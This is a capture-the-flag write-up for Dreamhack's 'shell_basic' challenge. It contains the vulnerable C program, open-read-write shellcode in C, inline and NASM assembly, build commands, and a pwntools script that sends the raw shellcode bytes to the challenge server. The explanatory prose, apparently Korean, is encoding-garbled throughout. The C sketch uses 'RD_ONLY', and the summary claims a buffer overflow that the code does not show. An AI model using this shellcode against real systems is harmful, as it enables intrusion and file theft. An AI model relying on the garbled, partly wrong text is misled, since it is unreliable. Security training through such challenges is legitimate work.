[Dreamhack] Level2: shell_basic
ποΈAccess
μ λ ₯ν μ Έμ½λλ₯Ό μ€ννλ νλ‘κ·Έλ¨μ΄ μλΉμ€λ‘ λ±λ‘λμ΄ μλνκ³ μμ΅λλ€.
main ν¨μκ° μλ λ€λ₯Έ ν¨μλ€μ execve, execveat μμ€ν μ½μ μ¬μ©νμ§ λͺ»νλ©°, νμ΄μ κ΄λ ¨μ΄ μμ΅λλ€.
flag νμΌμ μμΉμ μ΄λ¦μ /home/shell_basic/flag_name_is_loooooongμ λλ€.
πΎ Exploit Algorithm & Payload
// Compile: gcc -o shell_basic shell_basic.c -lseccomp
// apt install seccomp libseccomp-dev
#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <signal.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(10);
}
void banned_execve() {
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
if (ctx == NULL) {
exit(0);
}
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_load(ctx);
}
void main(int argc, char *argv[]) {
char *shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
void (*sc)();
init();
banned_execve();
printf("shellcode: ");
read(0, shellcode, 0x1000);
sc = (void *)shellcode;
sc();
}
#1
#include<stdio.h>
#include<stdlib.h>
#include<fcntl.h>
#include<unistd.h>
int main(void){
int fd;
char buf[0x30];
fd = open("/home/shell_basic/flag_name_is_loooooong", RD_ONLY, 0);
read(fd, buf, 0x30);
write(1, buf, 0x30);
}
: execve μμ€ν μ½μ μ¬μ©νμ§ λͺ»νλ€λ λ¬Έμ λ₯Ό λ³΄κ³ orw μ μ½λλ₯Ό μμ±ν΄μ '/home/shell_basic/flag_name_is_loooooong' κ²½λ‘μ μλ flag νμΌμ μ΄λνλ λ¬Έμ μμ μ§μνλ€.
: orw(Open-Read-Write) μ μ½λλ₯Ό μμ±νκΈ° μ μ cμΈμ΄λ‘ λμμ λ€μκ³Ό κ°λ€.
#2
: λμ νμΈ ν μ€μΌλ ν€ μ½λλ‘ orw μ½λμ λΌλλ₯Ό μμ±νμλ€.
__asm__(
".global run_sh\n"
"run_sh:\n"
"xor rax, rax\n"
"push rax #NULL(=0)\n"
"mov rax, 0x676e6f6f6f6f6f6f #'oooooong'\n"
"push rax\n"
"mov rax, 0x6c5f73695f656d61 #'ame_is_l'\n"
"push rax\n"
"mov rax, 0x6e5f67616c662f63 #'c/flag_n'\n"
"push rax\n"
"mov rax, 0x697361625f6c6c65 #'ell_basi'\n"
"push rax\n"
"mov rax, 0x68732f656d6f682f #'/home/sh'\n"
"push rax\n"
"mov rdi, rsp #rdi=rsp; rdi='/home/shell_basic/flag_name_is_loooooong'\n"
"xor rsi, rsi #rsi=0\n"
"xor rdx, rdx #rdx=0\n"
"mov rax, 0x02 #rax=2; rax=sys_open\n"
"syscall #open('/home/shell_basic/flag_name_is_loooooong', RD_ONLY, NULL)\n"
"\n"
"mov rdi, rax #rdi = fd\n"
"mov rsi, rsp\n"
"sub rsi, 0x30 #rsi = rsp-0x30; rsi=buf\n"
"mov rdx, 0x30 #rdx = 0x30; rdx=len\n"
"mov rax, 0x0 #rax = 0; rax=syscall_read\n"
"syscall #read(fd, buf, 0x30)\n"
"\n"
"mov rdi, 1 #rdi = 1; fd = stdout\n"
"mov rax, 0x1 #rax = 1; rax=syscall_write\n"
"syscall #write(fd, buf, 0x30)\n"
"\n"
"xor rdi, rdi #rdi = 0\n"
"mov rax, 0x3c #rax = sys_exit\n"
"syscall #syscall(rax,rdi)exit(0)"
);
void run_sh();
int main() { run_sh(); }
; File name: exploit.asm
section .text
global _start
_start:
;open
xor rax, rax
push rax ;NULL(=0)
mov rax, 0x676e6f6f6f6f6f6f ;oooooong
push rax
mov rax, 0x6c5f73695f656d61 ;ame_is_l
push rax
mov rax, 0x6e5f67616c662f63 ;c/flag_n
push rax
mov rax, 0x697361625f6c6c65 ;ell_basi
push rax
mov rax, 0x68732f656d6f682f ;/home/sh
push rax
mov rdi, rsp ;rdi=rsp ;rdi=/home/shell_basic/flag_name_is_loooooong
xor rsi, rsi ;rsi=0
xor rdx, rdx ;rdx=0
mov rax, 0x02 ;rax=2 ;rax=sys_open
syscall ;open('/home/shell_basic/flag_name_is_loooooong', RD_ONLY, NULL)
;read
mov rdi, rax ;rdi = fd
mov rsi, rsp
sub rsi, 0x30 ;rsi = rsp-0x30 ;rsi=buf
mov rdx, 0x30 ;rdx = 0x30 ;rdx=len
mov rax, 0x00 ;rax = 0 ;rax=syscall_read
syscall ;read(fd, buf, 0x30)
;write
mov rdi, 0x01 ;rdi = 1 ;fd = stdout
mov rax, 0x01 ;rax = 1 ;rax=syscall_write
syscall ;write(fd, buf, 0x30)
;exit
xor rdi, rdi ;rdi = 0
mov rax, 0x3c ;rax = sys_exit
syscall ;exit(rax,rdi)
: orw μ½λλ λ€μκ³Ό κ°μ΄ μμ±νλ€.
: '/home/shell_basic/flag_name_is_loooooong'μ λ¬Έμμ΄μ ASCII -> 16μ§μ λ³ν(리ν μλμΈ λ°©μ)μΌλ‘ λ³ννμ¬ stackμ λ£μ΄μ£Όμλ€.
β»stack push λ΄λΆ μμ → /home/sh → ell_basi → c/flag_n → ame_is_l → oooooong → \x00 )
β»stack pop λ΄λΆμμ ← /home/sh ← ell_basi ← c/flag_n ← ame_is_l ← oooooong ← \x00 )
: open ν¨μλ₯Ό syscallμ ν΅ν΄ νΈμΆνλ€.
: read ν¨μλ₯Ό 0x30λ§νΌ μ½μ΄ μ§μλ³μ bufμ μ μ₯νλ€.
: write ν¨μλ₯Ό syscallμ ν΅ν΄ write ν¨μ μ¬μ©νλ€.
: λ§μ§λ§μΌλ‘ νλ‘κ·Έλ¨μ μ’
λ£μν¬ exit ν¨μ μ¬μ©νλ€.
#3
$ nasm -f elf64 exploit.asm
$ objdump -d exploit.o
$ objcopy --dump-section .text=exploit.bin exploit.o
: asm νμΌμ .oνμΌ(μ»΄νμΌ)ν μν€κΈ° μν΄ nasm λͺ λ Ήμ΄λ₯Ό μ¬μ©νλ€.
: objcopy λͺ λ Ήμ μ¬μ©νμ¬ objdumpλ₯Ό byte code(opcode)μ ννλ‘ μΆμΆνλ€.
: μΆμΆ ν μλ²λ‘ μ Έ μ½λλ₯Ό νλν μ μλ€.
πAnalysis and results for obtaining the Flag DH{…}
from pwn import *
r = remote("host3.dreamhack.games", 17047)
shellcode = b"\x48\x31\xc0\x50\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05\x48\x31\xff\xb8\x3c\x00\x00\x00\x0f\x05"
r.sendafter(b": ", shellcode)
r.interactive()
+ μΆκ°λ‘ python λͺ¨λ pwntoolsλ‘λ FLAGλ₯Ό νλν μ μλ€.
πSummary
곡격μκ° μ μ½λλ₯Ό μ΄μ©νλ©΄ ν΄λΉλλ μ½λλ μ μμ μΈ λμμ νμ§ μμ μ μμ
ν΄λΉ μ½λμ ripμ΄ κ³΅κ²©μκ° μμ±λ μ μ½λλ‘ μ΄λλμ΄ μλλ μμ λΈλ¦¬ μ½λκ° μ€νλ μ μμ
λν μ΄μ λΈλ¦¬μ΄λ κΈ°κ³μ΄μ κ±°μ μΌλμΌ λμλλ―λ‘ μνλ λͺ¨λ λͺ λ Ήμ CPUμ λ΄λ¦΄ μ μκ² λ¨
mmap μ¬μ©: μ½λμμ mmapμ μ¬μ©νμ¬ μμ½λλ₯Ό ν λΉνκ³ ν΄λΉ λ©λͺ¨λ¦¬λ₯Ό μ€ν κ°λ₯ν λ©λͺ¨λ¦¬λ‘ μ€μ
μμ½λκ° μ€νλλλ‘ νλ λ°©λ²μ΄λ©°, μ
μ©λ κ²½μ° λ³΄μμ μ·¨μ½ν μ μμ
seccomp μ€μ : banned_execve() ν¨μμμ libseccompμ μ¬μ©νμ¬ execve λ° execveat μμ€ν
μ½μ μ°¨λ¨
κ·Έλ¬λ μ΄κ²λ§μΌλ‘λ λͺ¨λ 곡격μ μλ²½νκ² λ§μ μ μμ
λ²νΌ μ€λ²νλ‘μ° κ°λ₯μ±: read(0, shellcode, 0x1000);μμ μ¬μ©μ μ λ ₯μ΄ λ©λͺ¨λ¦¬ ν λΉ ν¬κΈ°λ₯Ό μ΄κ³Όν κ²½μ° λ²νΌ μ€λ²νλ‘μ°κ° λ°μν μ μμ
...
λ°λΌμ μ μ λΆμ λ° μ½λ κ²ν λ₯Ό μ² μ ν μννκ³ , λ°°ν¬ μ μ μ·¨μ½μ μ μλ³ν μ μλλ‘ ν΄μΌνλ©° κ°λ³ν μ¬λ¬ λΆλΆμμ μ£Όμν΄μΌ ν¨